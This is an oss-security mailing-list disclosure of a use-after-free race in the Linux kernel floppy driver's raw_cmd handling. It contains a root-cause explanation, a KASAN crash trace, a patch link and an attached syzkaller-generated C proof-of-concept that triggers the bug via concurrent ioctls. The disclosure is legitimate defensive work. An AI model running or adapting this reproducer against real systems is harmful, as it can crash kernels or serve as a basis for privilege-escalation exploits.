[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] Linux kernel: A concurrency use-after-free in floppy's raw_cmd
From: Minh Yuan <yuanmingbuaa () gmail ! com>
Date: 2022-04-28 3:19:46
Message-ID: CAH5WSp4X9ZRsgV_NWt8tT1OGxa45MrKDTOikHtnkc78XO5MaxA () mail ! gmail ! com
[Download RAW message or body]
[Attachment #2 (multipart/alternative)]
Hi,
We recently discovered a concurrency uaf between raw_cmd_ioctl and
seek_interrupt in the latest kernel version (5.17.4 for now).
The root cause is that after deallocating raw_cmd in raw_cmd_ioctl,
seek_interrupt still holds the freed raw_cmd and accesses it in
floppy_ready or start_motor concurrently.
PoC (generated by syzkaller) is in the attachment, and here is the KASAN
report:
BUG: KASAN: use-after-free in start_motor+0x31b/0x3f0
drivers/block/floppy.c:1908
Read of size 4 at addr ffff888127331c00 by task kworker/u16:9/15911
CPU: 5 PID: 15911 Comm: kworker/u16:9 Not tainted 5.16.2 #20
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014
Workqueue: floppy floppy_work_workfn
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:88 [inline]
dump_stack_lvl+0xcd/0x134 lib/dump_stack.c:106
print_address_description.constprop.0.cold+0x8d/0x320 mm/kasan/report.c:247
__kasan_report mm/kasan/report.c:433 [inline]
kasan_report.cold+0x83/0xdf mm/kasan/report.c:450
start_motor+0x31b/0x3f0 drivers/block/floppy.c:1908
floppy_ready+0x83/0x1850 drivers/block/floppy.c:1935
seek_interrupt+0x326/0x420 drivers/block/floppy.c:1567
process_one_work+0x9b2/0x1660 kernel/workqueue.c:2317
worker_thread+0x65d/0x1130 kernel/workqueue.c:2465
kthread+0x405/0x4f0 kernel/kthread.c:327
ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:295
</TASK>
Allocated by task 22033:
kasan_save_stack+0x1e/0x50 mm/kasan/common.c:38
kasan_set_track mm/kasan/common.c:46 [inline]
set_alloc_info mm/kasan/common.c:434 [inline]
____kasan_kmalloc mm/kasan/common.c:513 [inline]
____kasan_kmalloc mm/kasan/common.c:472 [inline]
__kasan_kmalloc+0xa9/0xd0 mm/kasan/common.c:522
kmalloc include/linux/slab.h:590 [inline]
raw_cmd_copyin drivers/block/floppy.c:3100 [inline]
raw_cmd_ioctl drivers/block/floppy.c:3167 [inline]
fd_locked_ioctl+0x100e/0x2820 drivers/block/floppy.c:3535
fd_ioctl+0x35/0x50 drivers/block/floppy.c:3562
blkdev_ioctl+0x37a/0x800 block/ioctl.c:609
vfs_ioctl fs/ioctl.c:51 [inline]
__do_sys_ioctl fs/ioctl.c:874 [inline]
__se_sys_ioctl fs/ioctl.c:860 [inline]
__x64_sys_ioctl+0x193/0x200 fs/ioctl.c:860
do_syscall_x64 arch/x86/entry/common.c:50 [inline]
do_syscall_64+0x35/0x80 arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x44/0xae
Freed by task 22033:
kasan_save_stack+0x1e/0x50 mm/kasan/common.c:38
kasan_set_track+0x21/0x30 mm/kasan/common.c:46
kasan_set_free_info+0x20/0x30 mm/kasan/generic.c:370
____kasan_slab_free mm/kasan/common.c:366 [inline]
____kasan_slab_free mm/kasan/common.c:328 [inline]
__kasan_slab_free+0xff/0x130 mm/kasan/common.c:374
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:1723 [inline]
slab_free_freelist_hook+0x8b/0x1c0 mm/slub.c:1749
slab_free mm/slub.c:3513 [inline]
kfree+0xf6/0x560 mm/slub.c:4561
raw_cmd_free+0x8a/0x1c0 drivers/block/floppy.c:3086
raw_cmd_ioctl drivers/block/floppy.c:3187 [inline]
fd_locked_ioctl+0x206d/0x2820 drivers/block/floppy.c:3535
fd_ioctl+0x35/0x50 drivers/block/floppy.c:3562
blkdev_ioctl+0x37a/0x800 block/ioctl.c:609
vfs_ioctl fs/ioctl.c:51 [inline]
__do_sys_ioctl fs/ioctl.c:874 [inline]
__se_sys_ioctl fs/ioctl.c:860 [inline]
__x64_sys_ioctl+0x193/0x200 fs/ioctl.c:860
do_syscall_x64 arch/x86/entry/common.c:50 [inline]
do_syscall_64+0x35/0x80 arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x44/0xae
The new patch can been seen at
https://github.com/torvalds/linux/commit/233087ca063686964a53c829d547c7571e3f67bf
.
Regards,
Yuan Ming from Tsinghua University
[Attachment #5 (text/html)]
<div dir="ltr">Hi,<div><br><div>We recently discovered a concurrency uaf between raw_cmd_ioctl \
and seek_interrupt in the latest kernel version (5.17.4 for now).</div><div><br></div><div>The \
root cause is that after deallocating <span \
style="color:rgb(0,0,0);font-family:Menlo,Monaco,"Courier \
New",monospace;font-size:12px;white-space:pre-wrap">raw_cmd in </span>raw_cmd_ioctl, \
seek_interrupt still holds the freed <span \
style="color:rgb(0,0,0);font-family:Menlo,Monaco,"Courier \
New",monospace;font-size:12px;white-space:pre-wrap">raw_cmd and accesses it in \
floppy_ready or </span>start_motor concurrently.</div><div><br></div><div>PoC (generated by \
syzkaller) is in the attachment, and here is the KASAN report:</div><div><br></div><div><span \
style="color:rgb(0,0,0);white-space:pre-wrap">BUG: KASAN: use-after-free in \
start_motor+0x31b/0x3f0 drivers/block/floppy.c:1908</span><br></div><div><pre \
style="white-space:pre-wrap;color:rgb(0,0,0)">Read of size 4 at addr ffff888127331c00 by task \
kworker/u16:9/15911
CPU: 5 PID: 15911 Comm: kworker/u16:9 Not tainted 5.16.2 #20
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS <a \
href="http://rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org/" \
target="_blank">rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org</a> 04/01/2014
Workqueue: floppy floppy_work_workfn
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:88 [inline]
dump_stack_lvl+0xcd/0x134 lib/dump_stack.c:106
print_address_description.constprop.0.cold+0x8d/0x320 mm/kasan/report.c:247
__kasan_report mm/kasan/report.c:433 [inline]
kasan_report.cold+0x83/0xdf mm/kasan/report.c:450
start_motor+0x31b/0x3f0 drivers/block/floppy.c:1908
floppy_ready+0x83/0x1850 drivers/block/floppy.c:1935
seek_interrupt+0x326/0x420 drivers/block/floppy.c:1567
process_one_work+0x9b2/0x1660 kernel/workqueue.c:2317
worker_thread+0x65d/0x1130 kernel/workqueue.c:2465
kthread+0x405/0x4f0 kernel/kthread.c:327
ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:295
</TASK>
Allocated by task 22033:
kasan_save_stack+0x1e/0x50 mm/kasan/common.c:38
kasan_set_track mm/kasan/common.c:46 [inline]
set_alloc_info mm/kasan/common.c:434 [inline]
____kasan_kmalloc mm/kasan/common.c:513 [inline]
____kasan_kmalloc mm/kasan/common.c:472 [inline]
__kasan_kmalloc+0xa9/0xd0 mm/kasan/common.c:522
kmalloc include/linux/slab.h:590 [inline]
raw_cmd_copyin drivers/block/floppy.c:3100 [inline]
raw_cmd_ioctl drivers/block/floppy.c:3167 [inline]
fd_locked_ioctl+0x100e/0x2820 drivers/block/floppy.c:3535
fd_ioctl+0x35/0x50 drivers/block/floppy.c:3562
blkdev_ioctl+0x37a/0x800 block/ioctl.c:609
vfs_ioctl fs/ioctl.c:51 [inline]
__do_sys_ioctl fs/ioctl.c:874 [inline]
__se_sys_ioctl fs/ioctl.c:860 [inline]
__x64_sys_ioctl+0x193/0x200 fs/ioctl.c:860
do_syscall_x64 arch/x86/entry/common.c:50 [inline]
do_syscall_64+0x35/0x80 arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x44/0xae
Freed by task 22033:
kasan_save_stack+0x1e/0x50 mm/kasan/common.c:38
kasan_set_track+0x21/0x30 mm/kasan/common.c:46
kasan_set_free_info+0x20/0x30 mm/kasan/generic.c:370
____kasan_slab_free mm/kasan/common.c:366 [inline]
____kasan_slab_free mm/kasan/common.c:328 [inline]
__kasan_slab_free+0xff/0x130 mm/kasan/common.c:374
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:1723 [inline]
slab_free_freelist_hook+0x8b/0x1c0 mm/slub.c:1749
slab_free mm/slub.c:3513 [inline]
kfree+0xf6/0x560 mm/slub.c:4561
raw_cmd_free+0x8a/0x1c0 drivers/block/floppy.c:3086
raw_cmd_ioctl drivers/block/floppy.c:3187 [inline]
fd_locked_ioctl+0x206d/0x2820 drivers/block/floppy.c:3535
fd_ioctl+0x35/0x50 drivers/block/floppy.c:3562
blkdev_ioctl+0x37a/0x800 block/ioctl.c:609
vfs_ioctl fs/ioctl.c:51 [inline]
__do_sys_ioctl fs/ioctl.c:874 [inline]
__se_sys_ioctl fs/ioctl.c:860 [inline]
__x64_sys_ioctl+0x193/0x200 fs/ioctl.c:860
do_syscall_x64 arch/x86/entry/common.c:50 [inline]
do_syscall_64+0x35/0x80 arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x44/0xae</pre></div><div><br></div><div>The new patch can been \
seen at <a href="https://github.com/torvalds/linux/commit/233087ca063686964a53c829d547c7571e3f6 \
7bf">https://github.com/torvalds/linux/commit/233087ca063686964a53c829d547c7571e3f67bf</a>.</div><div><br></div><div><div>Regards,</div><div> \
<br></div><div>Yuan Ming from Tsinghua University</div></div></div></div>
--000000000000f8f89c05ddae67d6--
["floppy_poc.c" (application/octet-stream)]
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2)
{
if (a0 == 0xc || a0 == 0xb) {
char buf[128];
sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1,
(uint8_t)a2);
return open(buf, O_RDWR, 0);
} else {
char buf[1024];
char* hash;
strncpy(buf, (char*)a0, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = 0;
while ((hash = strchr(buf, '#'))) {
*hash = '0' + (char)(a1 % 10);
a1 /= 10;
}
return open(buf, a2, 0);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
for (call = 0; call < 2; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 50);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
memcpy((void*)0x20000840, "/dev/fd#\000", 9);
res = -1;
res = syz_open_dev(0x20000840, 0, 3);
if (res != -1)
r[0] = res;
break;
case 1:
*(uint32_t*)0x20000180 = 0x88;
*(uint64_t*)0x20000188 = 0;
*(uint64_t*)0x20000190 = 0;
*(uint64_t*)0x20000198 = 0;
*(uint64_t*)0x200001a0 = 0;
*(uint64_t*)0x200001a8 = 0;
*(uint32_t*)0x200001b0 = 0;
*(uint8_t*)0x200001b4 = 4;
*(uint8_t*)0x200001b5 = 0;
memcpy((void*)0x200001b6,
"\x82\x29\x1c\x86\x44\x36\x5c\x7a\xf7\x1c\xfd\x11\x90\xa8\x38\xd8",
16);
*(uint8_t*)0x200001c6 = 0;
memset((void*)0x200001c7, 0, 16);
*(uint32_t*)0x200001d8 = 0x7fff;
*(uint32_t*)0x200001dc = 0;
*(uint32_t*)0x200001e0 = 0;
*(uint32_t*)0x200001e4 = 0;
syscall(__NR_ioctl, r[0], 0x258, 0x20000180ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
loop();
return 0;
}
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic